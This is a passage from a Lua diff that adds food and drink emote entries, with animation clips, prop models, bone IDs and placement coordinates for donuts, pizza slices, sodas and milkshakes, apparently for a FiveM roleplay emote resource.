"amb@world_human_drinking@beer@female@idle_a", + "idle_e", + "Wine 3 - Bottle", + AnimationOptions = { + Prop = 'prop_wine_rose', + PropBone = 28422, + PropPlacement = { + -0.0, + 0.04, + -0.19, + 10.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["cup"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Cup", + AnimationOptions = { + Prop = 'prop_plastic_cup_02', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["apple"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Apple", + AnimationOptions = { + Prop = 'sf_prop_sf_apple_01b', + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0150, + -0.0200, + -124.6964, + -166.5760, + 8.4572 + }, + EmoteMoving = true + } + }, + ["taco"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Taco", + AnimationOptions = { + Prop = 'prop_taco_01', + PropBone = 60309, + PropPlacement = { + -0.0170, + 0.0070, + -0.0210, + 107.9846, + -105.0251, + 55.7779 + }, + EmoteMoving = true + } + }, + ["hotdog"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Hotdog", + AnimationOptions = { + Prop = 'prop_cs_hotdog_02', + PropBone = 60309, + PropPlacement = { + -0.0300, + 0.0100, + -0.0100, + 95.1071, + 94.7001, + -66.9179 + }, + EmoteMoving = true + } + }, + ["bagel"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Bagel", + AnimationOptions = { + Prop = 'p_ing_bagel_01', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.05, + 0.03, + 145.3975, + -53.8984, + 4.8412 + }, + EmoteMoving = true + } + }, + ["donut"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Donut", + AnimationOptions = { + Prop = 'prop_amb_donut', + PropBone = 18905, + PropPlacement = { + 0.13, + 0.05, + 0.02, + -50.0, + 16.0, + 60.0 + }, + EmoteMoving = true + } + }, + ["donut2"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Donut Chocolate", + AnimationOptions = { + Prop = 'bzzz_foodpack_donut002', + PropBone = 60309, + PropPlacement = { + 0.0000, + -0.0300, + -0.0100, + 10.0000, + 0.0000, + -1.0000 + }, + EmoteMoving = true + } + }, + ["donut3"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Donut Raspberry", + AnimationOptions = { + Prop = 'bzzz_foodpack_donut001', + PropBone = 60309, + PropPlacement = { + 0.0000, + -0.0300, + -0.0100, + 10.0000, + 0.0000, + -1.0000 + }, + EmoteMoving = true + } + }, + ["desert"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Eat dessert", + AnimationOptions = { + Prop = 'bzzz_food_dessert_a', + PropBone = 18905, + PropPlacement = { + 0.15, + 0.03, + 0.03, + -42.0, + -36.0, + 0.0 + }, + EmoteMoving = true + } + }, + ["croissant"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Croissant", + AnimationOptions = { + Prop = 'bzzz_foodpack_croissant001', + PropBone = 60309, + PropPlacement = { + 0.0000, + 0.0000, + -0.0100, + 0.0000, + 0.0000, + 90.0000 + }, + EmoteMoving = true + } + }, + ["gingerbread"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Xmas Gingerbread Man", + AnimationOptions = { + Prop = 'bzzz_food_xmas_gingerbread_a', + PropBone = 18905, + PropPlacement = { + 0.16, + 0.04, + 0.03, + 18.0, + 164.0, + -5.0 + }, + EmoteMoving = true + } + }, + ["candycane"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Xmas Candy Cane - Red", + AnimationOptions = { + Prop = 'bzzz_food_xmas_lollipop_a', + PropBone = 18905, + PropPlacement = { + 0.16, + 0.02, + 0.03, + -73.0, + 146.0, + -5.0 + }, + EmoteMoving = true + } + }, + ["candycaneb"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Xmas Candy Cane - Green", + AnimationOptions = { + Prop = 'bzzz_food_xmas_lollipop_b', + PropBone = 18905, + PropPlacement = { + 0.16, + 0.02, + 0.03, + -73.0, + 146.0, + -5.0 + }, + EmoteMoving = true + } + }, + ["candycanec"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Xmas Candy Cane - Purple", + AnimationOptions = { + Prop = 'bzzz_food_xmas_lollipop_c', + PropBone = 18905, + PropPlacement = { + 0.16, + 0.02, + 0.03, + -73.0, + 146.0, + -5.0 + }, + EmoteMoving = true + } + }, + ["candycaned"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Xmas Candy Cane - Yellow", + AnimationOptions = { + Prop = 'bzzz_food_xmas_lollipop_d', + PropBone = 18905, + PropPlacement = { + 0.16, + 0.02, + 0.03, + -73.0, + 146.0, + -5.0 + }, + EmoteMoving = true + } + }, + ["candycanee"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Xmas Candy Cane - Blue", + AnimationOptions = { + Prop = 'bzzz_food_xmas_lollipop_e', + PropBone = 18905, + PropPlacement = { + 0.16, + 0.02, + 0.03, + -73.0, + 146.0, + -5.0 + }, + EmoteMoving = true + } + }, + ["meat"] = { + "move_crouch_proto", + "idle", + "Meat On A Stick", + AnimationOptions = { + Prop = 'bzzz_camp_stick_kebab', + PropBone = 64080, + PropPlacement = { + 0.0600, + 0.0500, + -0.1600, + 17.0651, + -30.9089, + 60.0374 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["meat2"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Meat On A Fork", + AnimationOptions = { + Prop = 'bzzz_camp_food_kebab', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.02, + 0.01, + -24.0, + -80.0, + 9.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mallow"] = { + "move_crouch_proto", + "idle", + "Marshmallow Stick - White", + AnimationOptions = { + Prop = 'bzzz_camp_stick_marshmallow', + PropBone = 64080, + PropPlacement = { + 0.0600, + 0.0500, + -0.1600, + 17.0651, + -30.9089, + 60.0374 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mallow2"] = { + "move_crouch_proto", + "idle", + "Marshmallow Stick - Pink", + AnimationOptions = { + Prop = 'bzzz_camp_stick_mellopink', + PropBone = 64080, + PropPlacement = { + 0.0600, + 0.0500, + -0.1600, + 17.0651, + -30.9089, + 60.0374 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mallow3"] = { + "move_crouch_proto", + "idle", + "Marshmallow Stick - Burnt", + AnimationOptions = { + Prop = 'bzzz_camp_stick_melloburnt', + PropBone = 64080, + PropPlacement = { + 0.0600, + 0.0500, + -0.1600, + 17.0651, + -30.9089, + 60.0374 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mallow4"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Marshmallow On A Fork - White", + AnimationOptions = { + Prop = 'bzzz_camp_food_marshmallow', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.02, + 0.01, + -24.0, + -80.0, + 9.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mallow5"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Marshmallow On A Fork - Pink", + AnimationOptions = { + Prop = 'bzzz_camp_food_mellopink', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.02, + 0.01, + -24.0, + -80.0, + 9.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mallow6"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Marshmallow On A Fork - Burnt", + AnimationOptions = { + Prop = 'bzzz_camp_food_melloburnt', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.02, + 0.01, + -24.0, + -80.0, + 9.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["macaroon"] = { --- Custom Prop by Bzzzi + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Macaroon", + AnimationOptions = { + Prop = 'bzzz_food_xmas_macaroon_a', + PropBone = 18905, + PropPlacement = { + 0.15, + 0.07, + 0.00, + 38.0, + 7.0, + 7.0 + }, + EmoteMoving = true + } + }, + ["xmasmug"] = { --- Custom Prop by Bzzzi + "mp_player_intdrink", + "loop_bottle", + "Xmas Mug - Tea", + AnimationOptions = { + Prop = 'bzzz_food_xmas_mug_a', + PropBone = 18905, + PropPlacement = { + 0.09, + -0.01, + 0.08, + -44.0, + 137.0, + 9.0 + }, + EmoteMoving = true + } + }, + ["xmasmug2"] = { --- Custom Prop by Bzzzi + "mp_player_intdrink", + "loop_bottle", + "Xmas Mug - Coffee", + AnimationOptions = { + Prop = 'bzzz_food_xmas_mug_b', + PropBone = 18905, + PropPlacement = { + 0.09, + -0.01, + 0.08, + -44.0, + 137.0, + 9.0 + }, + EmoteMoving = true + } + }, + ["xmaswine"] = { --- Custom Prop by Bzzzi + "mp_player_intdrink", + "loop_bottle", + "Xmas Mulled Wine", + AnimationOptions = { + Prop = 'bzzz_food_xmas_mulled_wine_a', + PropBone = 18905, + PropPlacement = { + 0.13, + 0.03, + 0.05, + -110.0, + -47.0, + 7.0 + }, + EmoteMoving = true + } + }, + ["cocoa"] = { + "amb@world_human_aa_coffee@base", + "base", + "Xmas Cocoa", + AnimationOptions = { + Prop = 'pata_christmasfood1', + PropBone = 28422, + PropPlacement = { + 0.0100, + -0.1100, + -0.1300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["xmassf"] = { --- Custom Prop by PataMods + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Xmas Snowflake Cookie", + AnimationOptions = { + Prop = 'pata_christmasfood2', + PropBone = 60309, + PropPlacement = { + 0.0200, + -0.0500, + 0.0200, + 0.0, + 0.0, + 0.0 + }, + EmoteMoving = true + } + }, + ["xmascc"] = { --- Custom Prop by PataMods + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Xmas Cupcake", + AnimationOptions = { + Prop = 'pata_christmasfood6', + PropBone = 60309, + PropPlacement = { + 0.0100, + 0.0200, + -0.0100, + -170.1788, + 87.6716, + 30.0540 + }, + EmoteMoving = true + } + }, + ["xmascc2"] = { --- Custom Prop by PataMods + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Xmas Cupcake 2", + AnimationOptions = { + Prop = 'pata_christmasfood8', + PropBone = 60309, + PropPlacement = { + 0.0200, + 0.0, + -0.0100, + 9.3608, + -90.1809, + 66.3689 + }, + EmoteMoving = true + } + }, + ["xmasic"] = { + "anim@scripted@island@special_peds@pavel@hs4_pavel_ig5_caviar_p1", + "base_idle", + "Xmas Ice Cream", + AnimationOptions = { + Prop = "pata_christmasfood7", + PropBone = 60309, + PropPlacement = { + -0.0460, + 0.0000, + -0.0300, + 0.0, + 0.0, + -50.0000 + }, + SecondProp = 'h4_prop_h4_coke_spoon_01', + SecondPropBone = 28422, + SecondPropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 20.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pizzaslice"] = { --- Custom Prop by knjgh + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Pizza Slice - Jalapeño And Peperoni", + AnimationOptions = { + Prop = 'knjgh_pizzaslice1', + PropBone = 60309, + PropPlacement = { + 0.0500, + -0.0200, + -0.0200, + 73.6928, + -66.7427, + 68.3677 + }, + EmoteMoving = true + } + }, + ["pizzas"] = { --- Custom Prop by knjgh + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Pizza Slice - Jalapeño And Peperoni", + AnimationOptions = { + Prop = 'knjgh_pizzaslice1', + PropBone = 60309, + PropPlacement = { + 0.0500, + -0.0200, + -0.0200, + 73.6928, + -66.7427, + 68.3677 + }, + EmoteMoving = true + } + }, + ["pizzas2"] = { --- Custom Prop by knjgh + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Pizza Slice - Tomato And Pesto", + AnimationOptions = { + Prop = 'knjgh_pizzaslice2', + PropBone = 60309, + PropPlacement = { + 0.0500, + -0.0200, + -0.0200, + 73.6928, + -66.7427, + 68.3677 + }, + EmoteMoving = true + } + }, + ["pizzas3"] = { --- Custom Prop by knjgh + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Pizza Slice - Mushroom", + AnimationOptions = { + Prop = 'knjgh_pizzaslice3', + PropBone = 60309, + PropPlacement = { + 0.0500, + -0.0200, + -0.0200, + 73.6928, + -66.7427, + 68.3677 + }, + EmoteMoving = true + } + }, + ["pizzas4"] = { --- Custom Prop by knjgh + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Pizza Slice - Margherita", + AnimationOptions = { + Prop = 'knjgh_pizzaslice4', + PropBone = 60309, + PropPlacement = { + 0.0500, + -0.0200, + -0.0200, + 73.6928, + -66.7427, + 68.3677 + }, + EmoteMoving = true + } + }, + ["pizzas5"] = { --- Custom Prop by knjgh + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Pizza Slice - Double Peperoni", + AnimationOptions = { + Prop = 'knjgh_pizzaslice5', + PropBone = 60309, + PropPlacement = { + 0.0500, + -0.0200, + -0.0200, + 73.6928, + -66.7427, + 68.3677 + }, + EmoteMoving = true + } + }, + ["eat"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Eat", + AnimationOptions = { + Prop = 'prop_cs_burger_01', + PropBone = 60309, + PropPlacement = { + 0.0000, + 0.0000, + -0.0200, + 30.0000, + 0.0000, + 0.0000, + }, + EmoteMoving = true + } + }, + ["burger"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Burger", + AnimationOptions = { + Prop = 'prop_cs_burger_01', + PropBone = 60309, + PropPlacement = { + 0.0000, + 0.0000, + -0.0200, + 30.0000, + 0.0000, + 0.0000, + }, + EmoteMoving = true + } + }, + ["burgerpose"] = { -- Custom Emote By Dark Animations exclusive to RPEmotes exclusive to RPEmotes + "brugershot_dark_fixed@dark", + "brugershot_dark_fixed_clip", + "Burger - Pose", + AnimationOptions = { + Prop = 'prop_cs_burger_01', + PropBone = 60309, + PropPlacement = { + 0.0460, + 0.0140, + 0.0460, + 3.4346, + 20.1823, + -10.000 + }, + SecondProp = 'ba_prop_battle_sports_helmet', + SecondPropBone = 28422, + SecondPropPlacement = { + 0.0400, + -0.0100, + -0.2000, + 176.3835, + -169.3724, + 19.6834 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sandwich"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Sandwich", + AnimationOptions = { + Prop = 'prop_sandwich_01', + PropBone = 18905, + PropPlacement = { + 0.13, + 0.05, + 0.02, + -50.0, + 16.0, + 60.0 + }, + EmoteMoving = true + } + }, + ["soda"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Soda - eCola Can", + AnimationOptions = { + Prop = 'prop_ecola_can', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 130.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["soda2"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Soda 2 - Sprunk Can", + AnimationOptions = { + Prop = 'ng_proc_sodacan_01b', + PropBone = 28422, + PropPlacement = { + 0.0050, + -0.0010, + -0.0800, + 0.0, + 0.0, + 160.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["soda3"] = { + "amb@code_human_wander_drinking@male@base", + "static", + "Soda 3 - P's & Q's Cup", + AnimationOptions = { + Prop = 'v_ret_fh_bscup', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0400, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["soda4"] = { + "amb@code_human_wander_drinking@male@base", + "static", + "Soda 4 - Burger Shot Cup", + AnimationOptions = { + Prop = 'prop_cs_bs_cup', + PropBone = 28422, + PropPlacement = { + 0.0060, + 0.0010, + 0.0, + 0.0, + 0.0, + -150.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["soda5"] = { + "amb@code_human_wander_drinking@male@base", + "static", + "Soda 5 - eCola Cup", + AnimationOptions = { + Prop = 'prop_rpemotes_soda03', + PropBone = 28422, + PropPlacement = { + 0.0060, + 0.0010, + 0.0, + 0.0, + 0.0, + 80.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["soda6"] = { + "amb@code_human_wander_drinking@male@base", + "static", + "Soda 6 - eCola Light Cup", + AnimationOptions = { + Prop = 'prop_rpemotes_soda04', + PropBone = 28422, + PropPlacement = { + 0.0060, + 0.0010, + 0.0, + 0.0, + 0.0, + 80.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["soda7"] = { + "amb@code_human_wander_drinking@male@base", + "static", + "Soda 7- Sprunk Cup", + AnimationOptions = { + Prop = 'prop_rpemotes_soda01', + PropBone = 28422, + PropPlacement = { + 0.0060, + 0.0010, + 0.0, + 0.0, + 0.0, + 80.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["soda8"] = { + "amb@code_human_wander_drinking@male@base", + "static", + "Soda 8 - Sprunk Light Cup", + AnimationOptions = { + Prop = 'prop_rpemotes_soda02', + PropBone = 28422, + PropPlacement = { + 0.0060, + 0.0010, + 0.0, + 0.0, + 0.0, + 80.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["soda9"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Soda 9 - Orange Flavoured Can", + AnimationOptions = { + Prop = 'prop_orang_can_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 130.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["boba"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Boba", + AnimationOptions = { + Prop = 'scully_boba', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["boba2"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Boba 2", + AnimationOptions = { + Prop = 'scully_boba2', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["boba3"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Boba 3", + AnimationOptions = { + Prop = 'scully_boba3', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipsoda"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Soda Cup - Sprunk", + AnimationOptions = { + Prop = 'prop_rpemotes_soda01', + PropBone = 28422, + PropPlacement = { + 0.0470, + 0.0040, + -0.0600, + -88.0263, + -25.0367, + -27.3898 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipsodab"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Soda Cup - Sprunk Light", + AnimationOptions = { + Prop = 'prop_rpemotes_soda02', + PropBone = 28422, + PropPlacement = { + 0.0470, + 0.0040, + -0.0600, + -88.0263, + -25.0367, + -27.3898 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipsodac"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Soda Cup - eCola", + AnimationOptions = { + Prop = 'prop_rpemotes_soda03', + PropBone = 28422, + PropPlacement = { + 0.0470, + 0.0040, + -0.0600, + -88.0263, + -25.0367, + -27.3898 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipsodad"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Soda Cup - eCola Light", + AnimationOptions = { + Prop = 'prop_rpemotes_soda04', + PropBone = 28422, + PropPlacement = { + 0.0470, + 0.0040, + -0.0600, + -88.0263, + -25.0367, + -27.3898 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["dbsoda"] = { + "amb@code_human_wander_drinking@male@base", + "static", + "Soda - Dumb Bitch", + AnimationOptions = { + Prop = 'dumbbitchjuice', + PropBone = 28422, + PropPlacement = { + 0.0060, + -0.0020, + -0.0700, + 180.0000, + 180.0000, + -10.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mojito"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Mojito", + AnimationOptions = { + Prop = 'prop_mojito', + PropBone = 28422, + PropPlacement = { + 0.0000, + 0.0000, + -0.0900, + 0.0000, + 0.0000, + 130.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["frappe"] = { + "amb@code_human_wander_drinking@male@base", + "static", + "Frappe", + AnimationOptions = { + Prop = 'brum_heartfrappe', + PropBone = 28422, + PropPlacement = { + 0.0, + -0.0150, + -0.0100, + 0.0, + -3.9999, + 0.0, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["frappe2"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Frappe 2", + AnimationOptions = { + Prop = 'beanmachine_cup', + PropBone = 28422, + PropPlacement = { + 0.0110, + 0.0, + 0.0300, + 0.0, + 0.0, + -140.0, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["frappe3"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Frappe 3", + AnimationOptions = { + Prop = 'beanmachine_cup2', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0600, + 0.0, + 0.0, + -178.0, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["frappe4"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Frappe 4", + AnimationOptions = { + Prop = 'beanmachine_cup3', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0600, + 0.0, + 0.0, + -178.0, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["edrink"] = { + "mp_player_intdrink", + "loop_bottle", + "Energy Drink - Bottle", + AnimationOptions = + { + Prop = "prop_energy_drink", + PropBone = 60309, + PropPlacement = { + 0.0080, + 0.0010, + 0.0160, + 3.5690, + 4.6611, + -49.9065 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["edrink2"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Energy Drink - Can", + AnimationOptions = + { + Prop = "sf_prop_sf_can_01a", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + -110.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["edrink3"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Energy Drink - XXL Can", + AnimationOptions = + { + Prop = "sf_p_sf_grass_gls_s_01a", + PropBone = 28422, + PropPlacement = { + 0.0000, + 0.0000, + -0.1400, + 0.0000, + 0.0000, + 9.0000 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["mshake"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Bubblegum", + AnimationOptions = { + Prop = 'brum_cherryshake_bubblegum', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakeb"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Cherry", + AnimationOptions = { + Prop = 'brum_cherryshake_cherry', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakec"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Chocolate", + AnimationOptions = { + Prop = 'brum_cherryshake_chocolate', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshaked"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Coffee", + AnimationOptions = { + Prop = 'brum_cherryshake_coffee', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakee"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Double Chocolate", + AnimationOptions = { + Prop = 'brum_cherryshake_doublechocolate', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakef"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Frappe", + AnimationOptions = { + Prop = 'brum_cherryshake_frappe', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakeg"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Lemon", + AnimationOptions = { + Prop = 'brum_cherryshake_lemon', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakeh"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Mint", + AnimationOptions = { + Prop = 'brum_cherryshake_mint', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakei"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Strawberry", + AnimationOptions = { + Prop = 'brum_cherryshake_strawberry', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakej"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Raspberry", + AnimationOptions = { + Prop = 'brum_cherryshake_raspberry', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakek"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Salted", + AnimationOptions = { + Prop = 'brum_cherryshake_salted', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mshakel"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Milkshake - Vanilla", + AnimationOptions = { + Prop = 'brum_cherryshake_vanilla', + PropBone = 28422, + PropPlacement = { + 0.0030, + 0.0280, + 0.0800, + -180.0, + -180.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshake"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Bubblegum", + AnimationOptions = { + Prop = 'brum_cherryshake_raspberry', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakeb"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Cherry", + AnimationOptions = { + Prop = 'brum_cherryshake_cherry', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakec"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Chocolate", + AnimationOptions = { + Prop = 'brum_cherryshake_chocolate', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshaked"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Coffee", + AnimationOptions = { + Prop = 'brum_cherryshake_coffee', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakee"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Double Chocolate", + AnimationOptions = { + Prop = 'brum_cherryshake_doublechocolate', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakef"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Frappe", + AnimationOptions = { + Prop = 'brum_cherryshake_frappe', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakeg"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Lemon", + AnimationOptions = { + Prop = 'brum_cherryshake_lemon', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, 